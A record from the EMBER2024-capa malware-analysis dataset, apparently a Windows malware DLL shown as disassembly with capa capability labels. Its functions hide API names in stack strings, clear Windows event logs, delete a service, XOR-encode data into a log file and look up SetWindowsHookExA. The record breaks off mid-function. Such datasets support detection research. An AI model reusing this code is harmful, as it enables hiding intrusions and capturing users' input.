joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100047c0
Capabilities:
Contain obfuscated stackstrings
Get file size

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
mov esi, ecx
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x21], al
mov byte [esp + 0x24], al
mov byte [esp + 0x16], al
mov byte [esp + 0x19], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x25], cl
mov byte [esp + 0x2a], cl
mov byte [esp + 0x2b], cl
mov byte [esp + 0x1c], cl
lea eax, [esp + 0x14]
push edi
lea ecx, [esp + 0x24]
mov dl, 0x72
push eax
push ecx
mov dword [esp + 0x1c], esi
mov byte [esp + 0x2c], 0x6b
mov byte [esp + 0x2e], dl
mov byte [esp + 0x2f], 0x6e
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x35], 0x64
mov byte [esp + 0x38], 0
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x26], 0x46
mov byte [esp + 0x27], 0x69
mov byte [esp + 0x2a], 0x41
mov byte [esp + 0x2b], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esi + 0x20]
mov ebx, eax
mov ebp, dword [esp + 0x38]
mov ecx, 0x41
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x80
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 3
push 0
and ecx, 3
push 1
push connect
rep movsb byte es:[edi], byte [esi]
push ebp
call ebx
mov edi, eax
cmp edi, 0xffffffff
jne 0x100048b5
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x24
ret 4
lea ecx, [esp + 0x10]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
add ebp, 0xa
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [esp + 0x10]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x38]
push esi
mov dword [ebx + 1], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea edi, [ebx + 9]
inc ecx
push ebp
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
call fcn.10007df0
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 4
Function at 0x10004950
Capabilities:
Contain obfuscated stackstrings
Read file on windows

Disassembly:
sub esp, 0x20
push ebx
mov ebx, ecx
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x15], al
mov byte [esp + 0x18], al
mov byte [esp + 0xa], al
mov byte [esp + 0xd], al
mov byte [esp + 0x11], al
push ebp
mov byte [esp + 0x1d], cl
mov byte [esp + 0x22], cl
mov byte [esp + 0x23], cl
mov byte [esp + 0x14], cl
lea eax, [esp + 0xc]
push edi
lea ecx, [esp + 0x1c]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x24], 0x6b
mov byte [esp + 0x26], dl
mov byte [esp + 0x27], 0x6e
mov byte [esp + 0x2a], 0x33
mov byte [esp + 0x2b], 0x32
mov byte [esp + 0x2c], 0x2e
mov byte [esp + 0x2d], 0x64
mov byte [esp + 0x30], 0
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], dl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x1e], 0x46
mov byte [esp + 0x1f], 0x69
mov byte [esp + 0x22], 0x41
mov byte [esp + 0x23], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [esp + 0x30]
cmp dword [edi + 4], 0xffffffff
jne 0x10004a03
mov ecx, ebx
call fcn.10004ad0
pop edi
pop ebp
xor eax, eax
pop ebx
add esp, 0x20
ret 4
push 0
push 0x80
push 3
push 0
push 1
lea edx, [ebx + 0x20]
push connect
push edx
call eax
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x10004a2d
pop edi
pop ebp
or eax, eax
pop ebx
add esp, 0x20
ret 4
mov eax, dword [edi + 4]
push esi
push 0
push edi
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
mov byte [esi], 0x6a
mov ecx, dword [edi]
mov dword [esi + 1], ecx
mov edx, dword [edi + 4]
lea ecx, [esi + 9]
push 0x1ff7
push ecx
push ebp
mov dword [esi + 5], edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x10004aa8
add eax, 9
mov ecx, ebx
push eax
push esi
call fcn.10007df0
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
add esp, 0x20
ret 4
mov ecx, ebx
call fcn.10004ad0
mov edi, dword [esp + 0x34]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
add esp, 0x20
ret 4
Function at 0x10005020
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
push ebx
push esi
push edi
mov edi, ecx
mov al, 0x65
mov cl, 0x6c
mov byte [ebp - 0x27], al
mov byte [ebp - 0x24], al
mov byte [ebp - 0x16], al
mov byte [ebp - 0x13], al
mov byte [ebp - 0xf], al
mov byte [ebp - 0x23], cl
mov byte [ebp - 0x1e], cl
mov byte [ebp - 0x1d], cl
mov byte [ebp - 0x10], cl
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x28]
mov dl, 0x72
push eax
push ecx
mov byte [ebp - 0x28], 0x6b
mov byte [ebp - 0x26], dl
mov byte [ebp - 0x25], 0x6e
mov byte [ebp - 0x22], 0x33
mov byte [ebp - 0x21], 0x32
mov byte [ebp - 0x20], 0x2e
mov byte [ebp - 0x1f], 0x64
mov byte [ebp - 0x1c], 0
mov byte [ebp - 0x18], 0x43
mov byte [ebp - 0x17], dl
mov byte [ebp - 0x15], 0x61
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x12], 0x46
mov byte [ebp - 0x11], 0x69
mov byte [ebp - 0xe], 0x41
mov byte [ebp - 0xd], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [edi + 0x1c]
mov dword [ebp - 0x2c], eax
mov eax, ecx
sub eax, 2
je 0x100050cb
sub eax, 2
je 0x100050c4
sub eax, 2
je 0x100050bd
mov esi, ecx
jmp 0x100050d0
mov esi, 5
jmp 0x100050d0
mov esi, 3
jmp 0x100050d0
mov esi, 1
lea edx, [ebp - 0x16c]
lea ebx, [edi + 0x20]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], ecx
mov byte [ebp - 4], cl
nop
nop
nop
nop
cmp eax, 0xffffffff
mov byte [ebp - 0xc], 0x70
je 0x1000513e
cmp esi, 1
jne 0x10005117
mov edx, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x14c]
mov dword [ebp - 0xb], edx
mov dword [ebp - 7], ecx
mov esi, 3
jmp 0x10005150
cmp esi, 3
jne 0x1000512b
xor edx, edx
mov esi, 2
mov dword [ebp - 0xb], edx
mov dword [ebp - 7], edx
jmp 0x10005150
cmp esi, 5
jne 0x1000514d
mov dword [ebp - 7], 0xffffffff
mov esi, 3
jmp 0x10005150
xor ecx, ecx
mov esi, 2
mov dword [ebp - 0xb], ecx
mov dword [ebp - 7], ecx
jmp 0x10005150
mov esi, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push 0x80
push esi
push 0
push 2
push 0x40000000
push ebx
call dword [ebp - 0x2c]
cmp eax, 0xffffffff
jne 0x10005186
xor eax, eax
mov dword [edi + 0x128], eax
mov dword [edi + 0x12c], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0xc]
push 9
push edx
mov ecx, edi
call fcn.10007df0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100051b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov edi, ecx
lea eax, [ebp - 0x34]
lea ecx, [ebp - 0x54]
mov bl, 0x65
push eax
push ecx
mov byte [ebp - 0x54], 0x6b
mov byte [ebp - 0x53], bl
mov byte [ebp - 0x52], 0x72
mov byte [ebp - 0x51], 0x6e
mov byte [ebp - 0x50], bl
mov byte [ebp - 0x4f], 0x6c
mov byte [ebp - 0x4e], 0x33
mov byte [ebp - 0x4d], 0x32
mov byte [ebp - 0x4c], 0x2e
mov byte [ebp - 0x4b], 0x64
mov byte [ebp - 0x4a], 0x6c
mov byte [ebp - 0x49], 0x6c
mov byte [ebp - 0x48], 0
mov byte [ebp - 0x34], 0x43
mov byte [ebp - 0x33], 0x72
mov byte [ebp - 0x32], bl
mov byte [ebp - 0x31], 0x61
mov byte [ebp - 0x30], 0x74
mov byte [ebp - 0x2f], bl
mov byte [ebp - 0x2e], 0x46
mov byte [ebp - 0x2d], 0x69
mov byte [ebp - 0x2c], 0x6c
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0x41
mov byte [ebp - 0x29], 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x28]
lea eax, [ebp - 0x44]
push edx
push eax
mov byte [ebp - 0x44], 0x6b
mov byte [ebp - 0x43], bl
mov byte [ebp - 0x42], 0x72
mov byte [ebp - 0x41], 0x6e
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], 0x6c
mov byte [ebp - 0x3e], 0x33
mov byte [ebp - 0x3d], 0x32
mov byte [ebp - 0x3c], 0x2e
mov byte [ebp - 0x3b], 0x64
mov byte [ebp - 0x3a], 0x6c
mov byte [ebp - 0x39], 0x6c
mov byte [ebp - 0x38], 0
mov byte [ebp - 0x28], 0x57
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0x69
mov byte [ebp - 0x25], 0x74
mov byte [ebp - 0x24], bl
mov byte [ebp - 0x23], 0x46
mov byte [ebp - 0x22], 0x69
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], bl
mov byte [ebp - 0x1f], 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
push 0
push 0x80
mov ecx, dword [eax]
mov esi, dword [eax + 4]
push 3
push 0
push 2
mov dword [ebp - 4], ecx
push 0x40000000
lea edx, [edi + 0x20]
push edx
call dword [ebp - 0xc]
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
lea ecx, [ebp - 8]
push 0
add edx, 0xfffffff8
push ecx
add eax, 8
push edx
push eax
push ebx
call dword [ebp - 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov byte [ebp - 0x1c], 0x70
add esi, edx
mov dword [ebp - 0x1b], ecx
nop
nop
nop
nop
lea edx, [ebp - 0x1c]
push 9
push edx
mov ecx, edi
mov dword [ebp - 0x17], esi
call fcn.10007df0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10005ff0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
mov edi, dword [ebp + 8]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x10006014
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
push esi
push edi
call fcn.1000b1c0
add esp, 8
test al, al
jne 0x10006028
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x50]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x4c], str.WinSta0Default
nop
nop
nop
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x54]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.Xhjmj_Shenji
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10006100
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x10006150
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x10006137
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x10006170
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov esi, ecx
push eax
call fcn.10007cd0
mov eax, dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
test eax, eax
mov dword [esi], 0x100153bc
je 0x10006199
lea ecx, [esi + 0x10]
push eax
push ecx
call edi
mov eax, dword [esp + 0x18]
test eax, eax
je 0x100061ab
lea edx, [esi + 0x110]
push eax
push edx
call edi
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x100061bb
push eax
push 0x1001a8e0
call edi
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x14]
push 0
push 0
push 0
push 0x10005b70
push 0
mov dword [0x10018318], eax
push 0
mov dword [esi + 0x9e54], ecx
mov dword [esi + 0x9e50], 0
mov byte [esi + 0x9e58], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
ret 0x18
Function at 0x100067a0
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
sub esp, 0x128
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 5], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
mov cl, 0x74
mov byte [esp + 1], al
mov byte [esp + 4], al
mov byte [esp + 0x11], al
mov byte [esp + 0x17], al
mov byte [esp + 0x1c], al
mov byte [esp + 0x12], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x1e], cl
lea eax, [esp + 0x10]
lea ecx, [esp]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 8], 0x6b
mov byte [esp + 0xa], dl
mov byte [esp + 0xb], 0x6e
mov byte [esp + 0xe], 0x33
mov byte [esp + 0xf], 0x32
mov byte [esp + 0x10], 0x2e
mov byte [esp + 0x11], 0x64
mov byte [esp + 0x14], 0
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x1b], 0x53
mov byte [esp + 0x1c], 0x79
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x20], 0x6d
mov byte [esp + 0x21], 0x44
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], dl
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], dl
mov byte [esp + 0x29], 0x79
mov byte [esp + 0x2a], 0x41
mov byte [esp + 0x2b], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x24]
push 0x104
push edx
call eax
lea eax, [esp + 0x24]
push str.xhjmjj.dat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x128
ret
Function at 0x10006890
Capabilities:
Contain obfuscated stackstrings
Delete service

Disassembly:
sub esp, 0x1c
mov al, 0x6c
push ebx
mov byte [esp + 0x15], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], al
mov al, 0x73
mov cl, 0x65
push ebp
mov byte [esp + 0x11], al
mov byte [esp + 0x12], al
push esi
mov byte [esp + 0x19], cl
mov byte [esp + 0x1c], cl
mov byte [esp + 0x14], cl
lea eax, [esp + 0xc]
push edi
lea ecx, [esp + 0x1c]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x24], 0x6b
mov byte [esp + 0x26], dl
mov byte [esp + 0x27], 0x6e
mov byte [esp + 0x2a], 0x33
mov byte [esp + 0x2b], 0x32
mov byte [esp + 0x2c], 0x2e
mov byte [esp + 0x2d], 0x64
mov byte [esp + 0x30], 0
mov byte [esp + 0x18], 0x45
mov byte [esp + 0x19], 0x78
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], 0x50
mov byte [esp + 0x1d], dl
mov byte [esp + 0x1e], 0x6f
mov byte [esp + 0x1f], 0x63
mov byte [esp + 0x23], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
call fcn.100067a0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
add esp, 4
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0x30
mov edi, eax
call esi
add esp, 4
push 0x10000
push 0x1001ad88
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push 0x30
mov ebp, eax
call esi
add esp, 4
push ebp
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push 0x30
call esi
add esp, 4
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call ebp
push 0x30
call esi
add esp, 4
push edi
call ebp
push 1
push 0
push 3
call fcn.1000c790
add esp, 0xc
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 1
call fcn.1000c790
add esp, 0xc
push 0
call ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret

Function at 0x100069d0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x12c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push edi
push 0x30
mov dword [esp + 0x14], 0
call esi
add esp, 4
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x30
mov edi, eax
call esi
push 0x30
mov dword [esp + 0x1c], 0x128
call esi
add esp, 8
lea eax, [esp + 0x14]
push eax
push edi
call sub.KERNEL32.dll_Process32First
push 0x30
call esi
mov ebx, dword [esp + 0x144]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
add esp, 4
lea ecx, [esp + 0x38]
push ebx
push ecx
call ebp
test eax, eax
je 0x10006a5a
push 0x30
call esi
add esp, 4
lea edx, [esp + 0x14]
push edx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10006a60
lea eax, [esp + 0x38]
push ebx
push eax
call ebp
test eax, eax
jne 0x10006a38
mov ebx, dword [esp + 0x1c]
jmp 0x10006a64
mov ebx, dword [esp + 0x10]
push 0x30
call esi
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x30
call esi
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x12c
ret
Function at 0x10006e90
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x24]
push edi
lea ecx, [ebp - 0x44]
mov bl, 0x65
push eax
push ecx
mov byte [ebp - 0x44], 0x6b
mov byte [ebp - 0x43], bl
mov byte [ebp - 0x42], 0x72
mov byte [ebp - 0x41], 0x6e
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], 0x6c
mov byte [ebp - 0x3e], 0x33
mov byte [ebp - 0x3d], 0x32
mov byte [ebp - 0x3c], 0x2e
mov byte [ebp - 0x3b], 0x64
mov byte [ebp - 0x3a], 0x6c
mov byte [ebp - 0x39], 0x6c
mov byte [ebp - 0x38], 0
mov byte [ebp - 0x24], 0x43
mov byte [ebp - 0x23], 0x72
mov byte [ebp - 0x22], bl
mov byte [ebp - 0x21], 0x61
mov byte [ebp - 0x20], 0x74
mov byte [ebp - 0x1f], bl
mov byte [ebp - 0x1e], 0x46
mov byte [ebp - 0x1d], 0x69
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], bl
mov byte [ebp - 0x1a], 0x41
mov byte [ebp - 0x19], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 8], eax
lea edx, [ebp - 0x18]
lea eax, [ebp - 0x34]
push edx
push eax
mov byte [ebp - 0x34], 0x6b
mov byte [ebp - 0x33], bl
mov byte [ebp - 0x32], 0x72
mov byte [ebp - 0x31], 0x6e
mov byte [ebp - 0x30], bl
mov byte [ebp - 0x2f], 0x6c
mov byte [ebp - 0x2e], 0x33
mov byte [ebp - 0x2d], 0x32
mov byte [ebp - 0x2c], 0x2e
mov byte [ebp - 0x2b], 0x64
mov byte [ebp - 0x2a], 0x6c
mov byte [ebp - 0x29], 0x6c
mov byte [ebp - 0x28], 0
mov byte [ebp - 0x18], 0x57
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x69
mov byte [ebp - 0x15], 0x74
mov byte [ebp - 0x14], bl
mov byte [ebp - 0x13], 0x46
mov byte [ebp - 0x12], 0x69
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], bl
mov byte [ebp - 0xf], 0
call esi
push eax
call edi
mov ecx, dword [0x1001aaf4]
push 0
push 0x80
push 4
push 0
push 2
add ecx, 0xd
push 0x40000000
push ecx
mov dword [ebp - 0xc], eax
call dword [ebp - 8]
mov esi, eax
push 0
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x10006fc3
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
push ebx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
test ebx, ebx
jle 0x10006ff8
mov ecx, dword [ebp + 8]
mov dword [ebp + 8], ebx
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
mov edx, dword [ebp + 8]
inc eax
dec edx
mov dword [ebp + 8], edx
jne 0x10006fe6
lea eax, [ebp - 4]
push 0
push eax
push ebx
push edi
push esi
call dword [ebp - 0xc]
nop
nop
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007580
Capabilities:
Read file via mapping

Disassembly:
mov eax, dword [0x1001ab04]
sub esp, 0x28
test eax, eax
jne 0x1000759c
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x1001ab04], eax
push esi
lea ecx, [esp + 0x18]
push edi
mov edi, 0x100153cc
lea eax, [esp + 0x1c]
push ecx
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0xc
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], 0
call fcn.100076a0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [esp + 0x10], eax
call esi
mov eax, dword [esp + 0x10]
add esp, 4
neg eax
sbb eax, eax
lea edx, [esp + 0x10]
push str.MyCreateMa
push 0x594
and eax, edx
push 0
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0x30
mov dword [0x1001aaf8], eax
call esi
mov eax, dword [0x1001aaf8]
add esp, 4
test eax, eax
jne 0x1000762a
mov eax, dword [esp + 0xc]
mov dword [esp + 8], edi
jmp 0x10007662
push 0x30
call esi
mov eax, dword [0x1001aaf8]
add esp, 4
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0x30
mov dword [0x1001aaf4], eax
call esi
mov eax, dword [0x1001aaf4]
add esp, 4
test eax, eax
mov eax, dword [esp + 0xc]
mov dword [esp + 8], edi
jne 0x1000767e
test eax, eax
je 0x10007676
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
xor al, al
pop esi
add esp, 0x28
ret
test eax, eax
je 0x10007692
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
mov al, 1
pop esi
add esp, 0x28
ret
Function at 0x10007820
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov cl, 0x6c
mov al, 0x65
mov byte [ebp - 0xb], cl
mov byte [ebp - 6], cl
mov byte [ebp - 5], cl
mov cl, 0x74
mov byte [ebp - 0xf], al
mov byte [ebp - 0xc], al
mov byte [ebp - 0x23], al
mov byte [ebp - 0x1d], al
mov byte [ebp - 0x18], al
push ebx
mov byte [ebp - 0x22], cl
mov byte [ebp - 0x1e], cl
mov byte [ebp - 0x16], cl
lea eax, [ebp - 0x24]
push esi
lea ecx, [ebp - 0x10]
mov dl, 0x72
mov bl, 0x79
push eax
push ecx
mov byte [ebp - 0x10], 0x6b
mov byte [ebp - 0xe], dl
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x64
mov byte [ebp - 4], 0
mov byte [ebp - 0x24], 0x47
mov byte [ebp - 0x21], 0x53
mov byte [ebp - 0x20], bl
mov byte [ebp - 0x1f], 0x73
mov byte [ebp - 0x1c], 0x6d
mov byte [ebp - 0x1b], 0x44
mov byte [ebp - 0x1a], 0x69
mov byte [ebp - 0x19], dl
mov byte [ebp - 0x17], 0x63
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], dl
mov byte [ebp - 0x13], bl
mov byte [ebp - 0x12], 0x41
mov byte [ebp - 0x11], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov esi, eax
call fcn.10007580
test al, al
jne 0x100078ce
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [0x1001aaf4]
mov ecx, 0x165
xor eax, eax
rep stosd dword es:[edi], eax
mov byte [0x1001aaf0], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, dword [0x1001aaf4]
mov dword [0x1001aaec], eax
xor eax, eax
push 0x104
mov dword [edx + 8], eax
mov ecx, dword [0x1001aaf4]
mov dword [ecx + 4], eax
mov edx, dword [0x1001aaf4]
mov ecx, 0x20
mov dword [edx], eax
mov edx, dword [0x1001aaf4]
lea edi, [edx + 0x511]
rep stosd dword es:[edi], eax
mov eax, dword [0x1001aaf4]
add eax, 0xd
push eax
call esi
nop
nop
mov ecx, dword [0x1001aaf4]
push str.xhjmjj.dat
add ecx, 0xd
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov edx, dword [0x1001ab04]
add esp, 4
push str.SetWindowsHookExA
push edx
call ebx
push 0x30
mov edi, eax
call esi
mov eax, dword [0x1001aaf4]
add esp, 4
add eax, 0xd
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1000798a
mov ecx, dword [0x1001aaf4]
